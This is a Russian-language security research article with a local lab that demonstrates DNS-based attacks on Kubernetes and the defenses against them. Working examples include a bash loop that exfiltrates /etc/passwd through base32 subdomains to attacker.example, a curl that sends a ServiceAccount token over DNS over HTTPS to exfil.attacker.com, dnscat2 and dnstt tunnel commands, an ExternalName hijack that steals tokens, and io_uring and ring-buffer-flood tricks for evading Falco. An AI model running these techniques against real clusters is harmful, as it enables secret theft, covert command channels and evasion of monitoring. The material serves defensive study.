Практическое исследование с PoC-лабораторией: как атакующий использует CoreDNS для discovery, exfiltration и C2, как с этим научились бороться, а также что взять себе на заметку, если ты пентестер.
TL;DR
В дефолтной конфигурации Kubernetes любой скомпрометированный под может:
- энумерировать все сервисы кластера через DNS без единого обращения к API-серверу;
- выкачать данные наружу, закодировав их в поддоменах DNS-запросов;
- поднять обратный шелл через DNS-туннель (dnscat2/iodine), полностью минуя сетевые политики;
- угнать git-токены ArgoCD через ExternalName-hijack (CVE-2020-8554 передаёт всем привет).
Далее — разбор каждого вектора с воспроизводимым PoC в kind-кластере, а затем — многослойная защита: NetworkPolicy + CoreDNS hardening + Falco + рекомендации для продакшена.
Оглавление
- Почему DNS — это слепая зона
- Как устроен DNS в Kubernetes
- Лаборатория: поднимаем полигон за 5 минут
- Атака 1: DNS Discovery — карта кластера без kubectl
- Атака 2: DNS Exfiltration — выкачиваем секреты через поддомены
- Атака 3: DNS C2 — обратный шелл через dnscat2
- Атака 4: ExternalName Hijack — угон токенов в стиле ArgoCD
- Защита: четыре уровня обороны
- Проверяем: атаки после применения защит
- Обход средств защиты: что ломалось в 2025 году
- Чек-лист для продакшена
- Заключение
1. Почему DNS — это слепая зона
RBAC, NetworkPolicy, PodSecurityAdmission — это все знают и закрывают. А вот DNS, в отличие от них, мягко говоря, не очень.По факту DNS в Kubernetes — это привилегированный канал:
- Всегда открыт (NetworkPolicy по умолчанию не ограничивают DNS);
- Аутентификация не нужна;
- CoreDNS по умолчанию форвардит любые запросы наружу;
- Логирование выключено (log-плагин не включён из коробки).
2. Как устроен DNS в Kubernetes
2.1. CoreDNS и search-домены
Каждый под в кластере получает/etc/resolv.conf примерно такого вида:
Код:
nameserver 10.96.0.10
search default.svc.cluster.local svc.cluster.local cluster.local
options ndots:5
- nameserver — это ClusterIP сервиса
kube-dns(CoreDNS). Все DNS-запросы из подов идут сюда. - search — список суффиксов. Если в запрашиваемом имени меньше 5 точек (см.
ndots:5), резолвер последовательно пробует каждый суффикс. - ndots:5 — порог, при котором имя считается «неполным». Это значит, что запрос
github.com(2 точки, меньше 5) сначала попробует:github.com.<namespace>.svc.cluster.localgithub.com.svc.cluster.localgithub.com.cluster.local- И только потом —
github.com.напрямую.
2.2. Внутренние DNS-записи
CoreDNS автоматически создаёт записи для каждого Service:
Код:
<service>.<namespace>.svc.cluster.local → ClusterIP
_<port>._<proto>.<service>.<namespace>.svc.cluster.local → SRV
2.3. Что CoreDNS делает с «внешними» запросами
Директиваforward . /etc/resolv.conf в Corefile означает: всё, что не cluster.local, CoreDNS отправляет на upstream-резолверы ноды. Обычно это 8.8.8.8 или DNS облачного провайдера.Проще говоря, любой DNS-запрос из пода может уйти в интернет — CoreDNS работает как прокси. Прямой доступ к внешним IP не нужен. DNS-пакет уходит через CoreDNS, ответ возвращается обратно.
Код:
[Скомпрометированный под]
│
UDP 53 к 10.96.0.10 (CoreDNS)
│
┌────▼────┐
│ CoreDNS │ ← "forward . /etc/resolv.conf"
└────┬────┘
│
UDP 53 к upstream DNS (8.8.8.8)
│
┌────▼────────────────┐
│ Рекурсивный DNS │
│ → Авторитативный │
│ DNS атакующего │
└─────────────────────┘
3. Лаборатория: поднимаем полигон за 5 минут
Всё воспроизводится в автоматизированной лаборатории на kind (Kubernetes IN Docker). Вот как она выглядит:
Код:
┌─────────────────────────────────────────────────┐
│ kind cluster "dnslab" │
│ │
│ ┌───────────────┐ ┌────────────────────────┐ │
│ │ control-plane │ │ worker (role=victim) │ │
│ │ CoreDNS │ │ victim-app (netshoot) │ │
│ │ Calico │ │ redis-data │ │
│ └───────────────┘ └────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ worker (role=attacker) │ │
│ │ attacker-shell (netshoot) │ │
│ │ attacker-dnsexfil (python:3.12) │ │
│ └────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘
│ docker network "kind"
┌─────────▼──────────┐
│ dnslab-attacker │
│ (debian container) │
│ bind9 :53 │
│ exfil :5353 │
│ dnscat2 :4444 │
│ nginx :443 │
└─────────────────────┘
Системные требования
- Docker
- kubectl
- kind
- helm
Код:
# Ставим всё необходимое одним скриптом
./lab/scripts/00_install_prereq.sh
Запуск
Код:
# 1. Создаём кластер + Calico + атакующий DNS-контейнер
./lab/scripts/01_create_cluster.sh
# 2. Деплоим «уязвимую» baseline-конфигурацию
./lab/scripts/02_deploy_baseline.sh
- Kind-кластер с 3 нодами и Calico (для полноценных NetworkPolicy)
- Namespace
victim— подvictim-app(имитация скомпрометированного микросервиса) +redis-data - Namespace
attacker— поды с инструментами атакующего - Контейнер
dnslab-attackerв docker-сети kind — bind9 + dnscat2-сервер + exfil-receiver + nginx-прокси - CoreDNS с включённым логированием — каждый запрос пишется в stdout
Почему Calico, а не стандартный kindnet? Kindnet не поддерживает egress NetworkPolicy. Без Calico мы не сможем продемонстрировать, что защита реально работает.
4. Атака 1: DNS Discovery — карта кластера без kubectl
MITRE ATT&CK: T1046 (Network Service Discovery), T1018 (Remote System Discovery)Сценарий
Атакующий получил RCE в поде.kubectl нет, API-сервер недоступен (ServiceAccount токен отозван или ограничен). Зато есть dig — а в большинстве образов хотя бы nslookup.Шаг 1: Изучаем окружение
Код:
kubectl -n attacker exec -it attacker-shell -- bash
# Что нам доступно из коробки?
cat /etc/resolv.conf
Код:
nameserver 10.96.0.10
search attacker.svc.cluster.local svc.cluster.local cluster.local
options ndots:5
attacker), nameserver — CoreDNS. Отсюда и стартуем.Шаг 2: Перебор типовых сервисов
Kubernetes-кластеры используют предсказуемые имена. Атакующий пробивает по словарю:
Код:
# API-сервер — всегда есть
dig +short kubernetes.default.svc.cluster.local
# → 10.96.0.1
# CoreDNS
dig +short kube-dns.kube-system.svc.cluster.local
# → 10.96.0.10
# Популярные сервисы — metrics-server, prometheus, ArgoCD, vault
for svc in \
metrics-server.kube-system \
argocd-server.argocd \
argocd-repo-server.argocd \
prometheus.monitoring \
vault.vault \
grafana.monitoring; do
IP=$(dig +short ${svc}.svc.cluster.local 2>/dev/null)
[ -n "$IP" ] && echo "[FOUND] $svc → $IP"
done
argocd-server.argocd резолвится? Значит в кластере стоит ArgoCD. vault.vault? Есть Vault.Шаг 3: SRV-записи — узнаём порты
Обычный A-запрос даёт только IP. Но SRV-запросы возвращают порт и протокол:
Код:
dig +noall +answer SRV _http._tcp.app-headless.victim.svc.cluster.local
# → 0 100 8080 10-244-0-15.app-headless.victim.svc.cluster.local.
dig +noall +answer SRV _redis._tcp.redis-data.victim.svc.cluster.local
# → 0 100 6379 redis-data.victim.svc.cluster.local.
victim есть Redis на порту 6379 и HTTP-сервис на 8080.Шаг 4: Headless-сервисы — IP подов
Headless-сервисы (ClusterIP: None) отвечают A-записями с IP каждого пода:
Код:
dig +short A app-headless.victim.svc.cluster.local
# → 10.244.0.15
# → 10.244.0.16
kubectl get endpoints — но без какой-либо аутентификации.Шаг 5: Обратный резолв (PTR)
Зная подсеть подов (10.244.0.0/16 — она часто стандартная), можно перебирать PTR-записи:
Код:
for i in $(seq 1 30); do
result=$(dig +short -x 10.244.0.$i 2>/dev/null)
[ -n "$result" ] && echo "10.244.0.$i → $result"
done
Что мы получили без единого обращения к API
| Информация | Источник |
|---|---|
| Имя namespace | /etc/resolv.conf |
| ClusterIP сервисов | A-запрос по словарю |
| Порты сервисов | SRV-запрос |
| IP подов (headless) | A-запрос к headless |
| Наличие ArgoCD, Vault, Prometheus | A-запрос по словарю |
Запуск PoC одной командой
Код:
./lab/scripts/03_attack_discovery.sh
Логи CoreDNS во время DNS-разведки кластера
5. Атака 2: DNS Exfiltration — выкачиваем секреты через поддомены
MITRE ATT&CK: T1048.003 (Exfiltration Over Unencrypted Non-C2 Protocol), T1071.004 (Application Layer Protocol: DNS)Принцип
DNS-запрос — это просто строка. Никто не мешает закодировать в ней данные:
Код:
SGERUWSN3DQOJTHE.0.exfil.lab.attacker.example
^^^^^^^^^^^^^^^^^^
base32(chunk данных)
- Берёт файл (или секрет, или токен) внутри пода.
- Кодирует в base32 (DNS-safe: только A-Z, 2-7).
- Разбивает на чанки по 50 байт (RFC 1035 ограничивает label 63 байтами).
- Делает
digна каждый чанк:<chunk>.<index>.exfil.lab.attacker.example. - На стороне атакующего auth-DNS для
lab.attacker.exampleлогирует все запросы и собирает данные.
PoC: выкачиваем /etc/passwd
На стороне пода-жертвы:
Код:
# Кодируем и отправляем
DATA=$(cat /etc/passwd | base32 -w0 | tr -d '=' | tr '+/' '-_')
LEN=${#DATA}
CHUNK=50
IDX=0
OFFSET=0
echo "[+] payload: $LEN bytes"
while [ $OFFSET -lt $LEN ]; do
CHUNK_DATA=${DATA:$OFFSET:$CHUNK}
QNAME="${CHUNK_DATA}.${IDX}.exfil.lab.attacker.example"
dig +short +tries=1 +time=2 A "$QNAME" >/dev/null 2>&1 || true
IDX=$((IDX + 1))
OFFSET=$((OFFSET + CHUNK))
done
echo "[OK] sent $IDX chunks"
Код:
2026-01-15T14:23:01.123 src=10.244.0.15:44231 qtype=1 qname=MNUXI4ZOMNUW4ZZPMN2...0.exfil.lab.attacker.example
2026-01-15T14:23:01.189 src=10.244.0.15:44231 qtype=1 qname=GI3DKNRWGU3TKMRXHAZ...1.exfil.lab.attacker.example
2026-01-15T14:23:01.245 src=10.244.0.15:44231 qtype=1 qname=GY3DIMJYGE4TGMZTGI2...2.exfil.lab.attacker.example
...
Почему это проходит
- Каждый отдельный запрос выглядит легитимно — это просто A-запрос.
- NetworkPolicy по умолчанию не блокируют DNS — под шлёт пакет на CoreDNS (10.96.0.10:53), а дальше CoreDNS сам форвардит его наружу.
- Нет инспекции payload — ни CoreDNS, ни CNI по умолчанию не анализируют содержимое DNS-запросов.
Ключевые метрики для детектирования
| Признак |
|---|
| Длина поддомена |
| Энтропия label |
| Частота запросов |
| Уникальность поддоменов |
| Родительский домен |
[th]
Нормальный DNS
[/th][th]DNS-exfiltration
[/th][td]
5-30 символов
[/td][td]50-63 символов
[/td][td]
Низкая (слова)
[/td][td]Высокая (base32/hex)
[/td][td]
1-10/мин
[/td][td]50-500/мин
[/td][td]
Повторяются
[/td][td]Каждый уникален
[/td][td]
Разные
[/td][td]Один и тот же
[/td]Запуск PoC
Код:
./lab/scripts/04_attack_exfil.sh
# Смотрим, что поймал receiver:
docker exec dnslab-attacker tail -n 200 /var/log/attacker/exfil.log
# Смотрим логи CoreDNS — подозрительно длинные поддомены:
kubectl -n kube-system logs -l k8s-app=kube-dns --tail=40
Exfil receiver на стороне атакующего: данные приходят как поддомены DNS-запросов
Логи CoreDNS во время эксфильтрации — характерные длинные base32-поддомены
6. Атака 3: DNS C2 — обратный шелл через dnscat2
MITRE ATT&CK: T1572 (Protocol Tunneling), T1071.004 (DNS)Что такое DNS-туннель
DNS-туннель — это полноценный двунаправленный канал поверх DNS-запросов и ответов. Инструменты вроде dnscat2 инкапсулируют произвольные данные в TXT/CNAME/MX-записи, создавая виртуальное TCP-соединение через DNS.
Код:
[Скомпрометированный под] [DNS-сервер атакующего]
│ │
│── TXT-запрос (данные →) ────────────► │
│◄── TXT-ответ (← команда) ──────────── │
│── A-запрос (данные →) ──────────────► │
│◄── CNAME-ответ (← данные) ────────── │
... ...
- Интерактивный шелл внутри пода
- Загрузку/выгрузку файлов
- Перенаправление портов (port forwarding) через DNS
PoC: dnscat2 в кластере
Сторона сервера (контейнер dnslab-attacker, уже запущен):
Код:
# dnscat2-сервер уже работает на UDP/4444:
docker exec dnslab-attacker tail -f /var/log/attacker/dnscat2.log
Код:
# Собираем dnscat2 client прямо внутри пода
./lab/scripts/05_attack_c2_dnscat2.sh
# Запускаем клиент вручную:
ATTACKER_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' dnslab-attacker)
kubectl -n attacker exec -it attacker-shell -- \
/tmp/dnscat2/client/dnscat \
--dns server=$ATTACKER_IP,port=4444 \
--secret demoSecret123
Код:
dnscat2> windows
0 :: main [active]
1 :: command (attacker-shell) [encrypted, authenticated]
dnscat2> window -i 1
command (attacker-shell)> shell
Sent request to execute a shell
dnscat2> window -i 2
sh-5.2# whoami
root
sh-5.2# cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIs...
dnscat2 C2: зашифрованная сессия установлена, интерактивный шелл через DNS
Через DNS-туннель: whoami → root, чтение ServiceAccount-токена из пода
Атакующий получил интерактивный шелл через DNS. Весь трафик — это DNS-запросы к
lab.attacker.example, которые CoreDNS послушно форвардит наружу.Чем это отличается от обычного reverse shell
| Характеристика | Обычный reverse shell | DNS C2 |
|---|---|---|
| Нужен прямой TCP/UDP наружу | Да | Нет |
| Проходит через NetworkPolicy | Обычно нет | Да (DNS всегда разрешён) |
| Проходит через firewall | Зависит | Да (порт 53 открыт) |
| Скорость | Высокая | Низкая (~5-50 KB/s) |
| Заметность в трафике | Легко детектируется | Сливается с DNS |
7. Атака 4: ExternalName Hijack — угон токенов в стиле ArgoCD
MITRE ATT&CK: T1557 (Adversary-in-the-Middle), связано с CVE-2020-8554Предыстория
В 2025 году исследователи продемонстрировали атаку на ArgoCD, эксплуатирующую механикуndots:5 и ExternalName Service в Kubernetes. Суть:Как работает атака
- Атакующий создаёт namespace
comи Service с именемgithubтипаExternalName:
Код:
apiVersion: v1
kind: Service
metadata:
name: github
namespace: com
spec:
type: ExternalName
externalName: attacker-proxy.attacker.svc.cluster.local
ports:
- port: 443
- Когда любой под в кластере делает запрос к
github.com, из-заndots:5resolver пробует суффиксы: github.com.attacker.svc.cluster.local— нетgithub.com.svc.cluster.local— MATCH! (Servicegithubв namespacecom)- CoreDNS возвращает CNAME →
attacker-proxy.attacker.svc.cluster.local - Запрос уходит на прокси атакующего вместо реального github.com.
- ArgoCD repo-server, обращающийся к
github.comза Git-репозиториями, отправляет свойAuthorization: Bearer <PAT>атакующему.
PoC
Код:
./lab/scripts/06_attack_argocd_hijack.sh
ExternalName Hijack в действии: github.com резолвится в attacker-proxy, Bearer-токен перехвачен
Что происходит внутри:
Код:
# Из пода жертвы:
dig +short github.com
# → 10.244.0.20 (IP attacker-proxy, а НЕ реальный GitHub!)
curl -kv -H 'Authorization: Bearer SECRET_GH_PAT_TOKEN_xxx' \
https://github.com/repo.git
# → запрос улетает на attacker-proxy
# На стороне прокси атакующего:
kubectl -n attacker exec attacker-proxy -- tail /var/log/nginx/access.log
# → "GET /repo.git" ... Authorization: Bearer SECRET_GH_PAT_TOKEN_xxx
Почему это опасно именно для GitOps
ArgoCD, Flux, Jenkins X — все они ходят к Git-хостингам из подов внутри кластера. Все подверженыndots:5. Если атакующий может создавать namespace + Service (что часто возможно для разработчиков в multi-tenant кластерах), он может перехватить любой домен.Масштаб проблемы
Не толькоgithub.com. Атакующий может перехватить:registry.npmjs.org(namespaceorg, Serviceregistry.npmjs)api.slack.com(namespacecom, Serviceapi.slack)vault.hashicorp.com— и получить Vault-токены
8. Защита: четыре уровня обороны
Код:
┌─────────────────────────────────────────┐
│ Уровень 4: Runtime Detection │
│ Falco / Tetragon / SIEM │
├─────────────────────────────────────────┤
│ Уровень 3: DNS-уровень │
│ CoreDNS hardening, template plugin │
├─────────────────────────────────────────┤
│ Уровень 2: Сеть │
│ NetworkPolicy (egress), Calico/Cilium │
├─────────────────────────────────────────┤
│ Уровень 1: RBAC + Admission Control │
│ Запрет ExternalName, namespace RBAC │
└─────────────────────────────────────────┘
Уровень 1: RBAC и Admission Control
Запретить создание ExternalName-сервисов через ValidatingWebhookConfiguration или OPA/Kyverno:
Код:
# Kyverno policy: блокировать ExternalName
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: block-externalname
spec:
validationFailureAction: Enforce
rules:
- name: deny-externalname-services
match:
any:
- resources:
kinds:
- Service
validate:
message: "ExternalName services are not allowed"
pattern:
spec:
type: "!ExternalName"
Уровень 2: NetworkPolicy — ограничиваем egress
Default deny на egress для всех рабочих namespace:
Код:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-egress
namespace: victim
spec:
podSelector: {}
policyTypes:
- Egress
Код:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-coredns-egress
namespace: victim
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
Важный нюанс: эта политика блокирует прямой DNS наружу (минуя CoreDNS), но не останавливает DNS-туннелирование через CoreDNS! Под по-прежнему шлёт запросы на CoreDNS, а тот форвардит их наружу. Для полной защиты нужен следующий уровень.
Уровень 3: Hardening CoreDNS
Стандартный Corefile форвардит всё. Добавим фильтрацию:
Код:
.:53 {
errors
log . {
class denial error
}
health { lameduck 5s }
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
# Блокируем известный домен атакующего
template ANY ANY lab.attacker.example {
rcode REFUSED
}
# Увеличиваем TTL кэша — меньше запросов наружу
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 300
loop
reload
loadbalance
}
- Allowlist доменов через template-плагин — разрешить резолв только для известных внешних доменов.
- Подключить плагин
firewall(coredns-contrib) — он позволяет задавать правила доступа на уровне DNS-запросов. - Ограничить длину label — запросы с label >50 символов почти наверняка exfiltration.
Уровень 4: Runtime Detection (Falco)
Falco на основе eBPF отслеживает сисколы и может детектировать:Правило 1: прямой DNS мимо CoreDNS:
Код:
- rule: DNS query to non-cluster resolver from victim
desc: >
Под из namespace victim открывает UDP/TCP 53 в сторону хоста,
отличного от CoreDNS. Это маркер DNS-туннеля.
condition: >
outbound_dns and pod_in_victim_ns
and not (fd.rip = "10.96.0.10")
output: >
Suspicious direct DNS from victim pod
(pod=%k8s.pod.name dst=%fd.rip:%fd.rport)
priority: WARNING
tags: [network, dns, mitre_command_and_control, T1071.004]
Код:
- rule: Known DNS tunneling tool launched
desc: Внутри пода стартовал dnscat2/iodine/dnstt
condition: >
spawned_process and proc.name in
(dnscat2, iodine, iodined, dnstt-client, dnstt-server)
output: >
DNS tunneling tool started
(pod=%k8s.pod.name proc=%proc.name cmdline=%proc.cmdline)
priority: CRITICAL
tags: [process, dns, mitre_command_and_control, T1572]
Код:
- rule: Burst of DNS calls from a single pod
desc: >
Под делает >100 DNS-сисколов за минуту — маркер
сканирования или exfiltration.
condition: outbound_dns and (k8s.pod.name != "")
output: >
High-rate DNS from pod
(pod=%k8s.pod.name ns=%k8s.ns.name)
priority: NOTICE
tags: [network, dns, mitre_discovery, T1018]
Применение всех защит одной командой
Код:
./lab/scripts/07_apply_defenses.sh
9. Проверяем: атаки после применения защит
Код:
./lab/scripts/08_verify_defenses.sh
Результаты
Атака |
|---|
DNS Discovery (внутрикластерный) |
DNS Exfiltration через lab.attacker.example |
Прямой DNS наружу (минуя CoreDNS) |
DNS C2 (dnscat2) через CoreDNS |
ExternalName Hijack |
[th]
До защиты
[/th]
[th]
После защиты[th]
[/th]
[td]
Работает[td]
[/td]
[td]
Работает (внутренний DNS не ограничен — это by design)[td]
[/td]
[td]
Работает[td]
[/td]
[td]
Заблокировано (CoreDNS template → REFUSED)[td]
[/td]
[td]
Работает[td]
[/td]
[td]
Заблокировано (NetworkPolicy default-deny)[td]
[/td]
[td]
Работает[td]
[/td]
[td]
Заблокировано (CoreDNS + Falco алерт)[td]
[/td]
[td]
Работает[td]
[/td]
[td]
Заблокировано (RBAC + audit)[td]
[/td]
Внутрикластерный discovery остаётся возможным — это фундаментальное свойство DNS в Kubernetes. Для его ограничения нужна сегментация DNS через dedicated CoreDNS per namespace или OPA-фильтры на CoreDNS. В продакшене это trade-off между безопасностью и удобством service discovery.
10. Обход средств защиты: что ломалось в 2025 году
Защиты выше — хороший baseline. Но атакующие не стоят на месте. За 2024--2025 годы появились техники, которые обходят каждый из четырёх уровней. Вот что реально работает против них — и как с этим бороться.10.1. io_uring: Falco и Tetragon полностью слепы
Исследование: ARMO «Curing» rootkit (апрель 2025)Главная находка года.
io_uring — механизм асинхронного I/O через submission/completion queues в ядре Linux. Позволяет делать сетевые операции, чтение файлов и отправку данных без порождения syscalls.Falco и Tetragon (в дефолтной конфигурации) перехватывают именно syscalls:
connect(), sendto(), sendmsg(), open(), read(). Операции через io_uring (IORING_OP_SENDMSG, IORING_OP_READ) проходят по другому пути в ядре и полностью невидимы для этих инструментов.
Код:
Обычный DNS-запрос:
приложение → sendmsg() [syscall] → ядро → UDP-пакет
↑ Falco eBPF-проба здесь
io_uring DNS-запрос:
приложение → io_uring_enter() → submission queue → ядро → UDP-пакет
↑ Falco проба НЕ стоит здесь
io_uring:
Код:
/* Ключевой фрагмент — отправка DNS через io_uring */
struct io_uring ring;
io_uring_queue_init(8, &ring, 0);
int fd = socket(AF_INET, SOCK_DGRAM, 0); // единственный видимый syscall
// Собираем DNS-пакет в буфер pkt[]
struct msghdr msg = { .msg_name = &dest, .msg_iov = &iov, .msg_iovlen = 1 };
// Отправляем через io_uring — НЕ syscall!
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_sendmsg(sqe, fd, &msg, 0);
io_uring_submit(&ring);
// Falco не видит эту отправку
Код:
# Полный PoC:
./lab/scripts/11_attack_io_uring_bypass.sh
Контрмера:
Код:
# Seccomp-профиль: блокируем io_uring syscalls
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [{
"names": ["io_uring_setup", "io_uring_enter", "io_uring_register"],
"action": "SCMP_ACT_ERRNO",
"errnoRet": 1
}]
}
Готовый seccomp-профиль:lab/manifests/11-seccomp-block-io-uring.yaml
10.2. DNS over HTTPS: полный обход CoreDNS
Все защиты на уровне CoreDNS работают ровно до того момента, пока DNS-запрос проходит через CoreDNS. А что если под просто пошлёт запрос напрямую через HTTPS?
Код:
# Под с dnsPolicy: None — CoreDNS полностью выключен
apiVersion: v1
kind: Pod
spec:
dnsPolicy: "None"
dnsConfig:
nameservers: ["8.8.8.8"]
containers:
- name: tunnel
image: alpine
command: ["sh", "-c", "sleep infinity"]
Код:
# Вариант 1: DNS exfiltration через DoH API (просто curl)
SECRET=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base32 -w0)
curl -s "https://dns.google/dns-query?name=${SECRET:0:50}.exfil.attacker.com&type=A" \
-H "accept: application/dns-json"
# Вариант 2: dnstt — полноценный SOCKS5-туннель через DoH
dnstt-client -doh https://dns.google/dns-query \
-pubkey-file server.pub \
tunnel.attacker.com \
127.0.0.1:1080
# Весь трафик через localhost:1080 идёт через DoH к Google
| Инструмент | Что видит | Детектирует? |
|---|---|---|
| CoreDNS логи | Ничего | Нет |
| Falco | connect() к 8.8.8.8:443 | Нет (HTTPS к Google whitelisted) |
| Cilium L7 DNS | Ничего (нет DNS через proxy) | Нет |
| NetworkPolicy | TCP к 8.8.8.8:443 | Только если запретить весь egress |
Код:
# PoC:
./lab/scripts/10_attack_doh_bypass.sh
Дополнительно: Kyverno/OPA policy на
dnsPolicy: None — запретить подам выключать CoreDNS:
Код:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: deny-dns-policy-none
spec:
validationFailureAction: Enforce
rules:
- name: block-dns-none
match:
any:
- resources:
kinds: [Pod]
validate:
message: "dnsPolicy: None is not allowed"
pattern:
spec:
dnsPolicy: "!None"
10.3. Falco Ring Buffer Flood: утопить детектор
Исследование: BlackBerry (2024), BSides Bangalore Kubernetes Village (2024)Falco использует ring buffer фиксированного размера для получения eBPF-событий из ядра. Если заполнить его «мусорными» syscalls быстрее, чем Falco успевает обработать, реальные вредоносные события теряются.
Код:
/* Генерируем 300K мусорных open/close за секунды */
for (int i = 0; i < 300000; i++) {
int fd = open("/dev/null", O_RDONLY);
if (fd >= 0) close(fd);
}
Результаты BlackBerry:
| Окружение | Событий для bypass | Примерная доля потерь |
|---|---|---|
| Host | ~200K | ~30% |
| Docker container | ~300K | ~60% |
| Kubernetes pod | 100K-200K | Variable |
Код:
# PoC:
./lab/scripts/12_attack_falco_flood.sh
- Увеличить ring buffer:
falco --buf-size-preset=4 - Алерт на
Falco internal: syscall event drop— если Falco теряет события, это само по себе индикатор атаки - Tetragon с targeted kprobes вместо широкого перехвата — меньше noise, меньше заполнение буфера
- Rate-limit мониторинг: под, генерирующий >100K syscalls/sec — аномалия
10.4. CoreDNS ConfigMap Poisoning: подмена DNS изнутри
Источник: KubenomiconЕсли атакующий получил write-доступ к namespace
kube-system (через скомпрометированный ServiceAccount, escalated RBAC или cloud IAM), он может напрямую модифицировать Corefile:
Код:
# Получаем текущий ConfigMap
kubectl get configmap coredns -n kube-system -o yaml > poison.yaml
# Добавляем rewrite: vault.hashicorp.com → наш прокси
# rewrite name vault.hashicorp.com attacker-proxy.attacker.svc.cluster.local
kubectl apply -f poison.yaml
kubectl -n kube-system rollout restart deployment coredns
vault.hashicorp.com, попадают на прокси атакующего. Никакого туннелирования, никаких подозрительных паттернов — трафик выглядит абсолютно легитимно.Потенциальные цели для rewrite:
login.microsoftonline.com— перехват OAuth-токеновsts.amazonaws.com— перехват AWS STS AssumeRoleregistry.npmjs.org— supply chain attack
Код:
# PoC (с автоматическим откатом):
./lab/scripts/13_attack_coredns_poisoning.sh
- RBAC: минимальные права на
kube-system, не давать edit на ConfigMapcoredns - Audit Log: алерт на
kubectl edit/patch configmap coredns -n kube-system - GitOps: Corefile управляется через Git, drift detection (ArgoCD/Flux с auto-sync)
- OPA/Kyverno: policy на изменение ConfigMap в
kube-system
10.5. Slow Drip: обход пороговых правил
Falco burst rule, SIEM-корреляция, CoreDNS rate alerts — все они смотрят на частоту запросов. Slow drip обходит каждый из них:
Код:
# 1 запрос каждые 30 секунд (ниже любого порога)
# + словарный префикс снижает энтропию label
# + ротация родительских доменов
# + разбавление легитимными запросами
QNAME="cdn-${CHUNK_DATA}.${IDX}.sd.${DOMAIN}"
dig +short A "$QNAME"
sleep 30
# Между exfil-запросами — легитимные
dig +short kubernetes.default.svc.cluster.local
| Метрика | Fast exfil | Slow drip |
|---|---|---|
| Запросов/мин | 50--500 | 2--4 |
| Длина label | 50--63 байт | 30 + словарь |
| Burst detection | Срабатывает | Нет |
| Скорость | ~10 KB/s | ~1 byte/s (86 KB/day) |
.kube/config, переменных окружения с секретами.
Код:
# PoC:
./lab/scripts/14_attack_slow_drip_exfil.sh
- ML-анализ энтропии DNS-label (не пороговое правило, а статистическая модель)
- Baseline нормального DNS-поведения пода (Cilium Hubble / Tetragon)
- DNS allowlist на CoreDNS (разрешить резолв только для known-good доменов)
- Мониторинг уникальности поддоменов: если к одному parent domain приходит 1000 уникальных subdomain — это exfil, даже при 1 запросе в минуту
10.6. Go Pure Resolver: другой паттерн syscalls
Kubernetes-экосистема построена на Go. Go имеет два DNS-резолвера:| CGO resolver | Pure Go resolver | |
|---|---|---|
| Механизм | getaddrinfo() через libc | Прямая отправка UDP |
| Syscall-паттерн | openat() → NSS → connect() → sendto() | socket() → sendmsg() |
| Активация | GODEBUG=netdns=cgo | GODEBUG=netdns=go (default на Linux) |
Код:
// Принудительный pure Go resolver
resolver := &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
return net.Dial("udp", "10.96.0.10:53")
},
}
ips, _ := resolver.LookupHost(ctx, "exfil.attacker.com")
Код:
# PoC:
./lab/scripts/15_attack_go_resolver_bypass.sh
sendmsg/sendto на dport=53 независимо от наличия getaddrinfo. Tetragon kprobe на udp_sendmsg с фильтром по порту — более надёжный подход.10.7. Cilium FQDN Policy: hardcoded IP и DNS truncation
Cilium FQDN policies работают через перехват DNS-запросов: наблюдают ответ, запоминают IP → домен маппинг, и разрешают трафик к этим IP. Два способа обхода:Способ 1: Hardcoded IP. Если атакующий знает IP целевого хоста (узнал из DNS заранее или из других источников), он подключается напрямую, без DNS-запроса. Cilium FQDN proxy не создаёт маппинг, и при отсутствии строгой L3-политики трафик проходит.
Способ 2: DNS Truncation (Cilium Issue #31197). При truncated DNS-ответе (TC bit = 1, fallback на TCP) FQDN proxy некорректно обрабатывает ответ. В зависимости от конфигурации это может привести к fail-open — политика не применяется.
Способ 3: Tetragon DNS parsing gap (Issue #4948). Tetragon TracingPolicies могут перехватить
udp_sendmsg на port 53, но не могут извлечь DNS-домен из payload — char_buf/char_iovec отдают ошибку CharBufErrorBufTooLarge. Парсинг DNS на уровне Tetragon пока не реализован.Контрмеры:
- Комбинировать FQDN-политику с L3/L4 default-deny (не разрешать IP, которых нет в FQDN-кэше)
- Мониторить
cilium-agentна ошибки DNS proxy - Для Tetragon: использовать network-level observability (Hubble) вместо kprobe-based DNS detection
10.8. Свежие CVE в CoreDNS (2024--2025)
| CVE | CVSS | Описание | Как эксплуатируется |
|---|---|---|---|
| CVE-2025-58063 | 7.1 | TTL Confusion в etcd-плагине. TTL() кастует 64-bit lease ID в uint32 → TTL в десятки лет | Атакующий с доступом к etcd закрепляет DNS-запись навсегда (cache pinning). Failover и IP-ротация невозможны |
| CVE-2024-0874 | Medium | CD bit cache bypass. При DNSSEC-запросе с CD=1 (Checking Disabled) CoreDNS кэширует невалидированный ответ и отдаёт его следующим запросам без CD | Обход DNSSEC-валидации, подмена ответов |
| CVE-2025-68151 | High | DoS через resource exhaustion в gRPC/HTTPS/HTTP3 серверах CoreDNS. Не требует аутентификации | Вывод CoreDNS из строя → fallback на upstream → обход всех фильтров |
CoreDNS обновлять обязательно: >=1.12.4 закрывает CVE-2025-58063.
10.9. Матрица: техника vs. инструмент защиты
| Техника обхода | Falco | Tetragon | CoreDNS filter | NetworkPolicy | Cilium L7 |
|---|---|---|---|---|---|
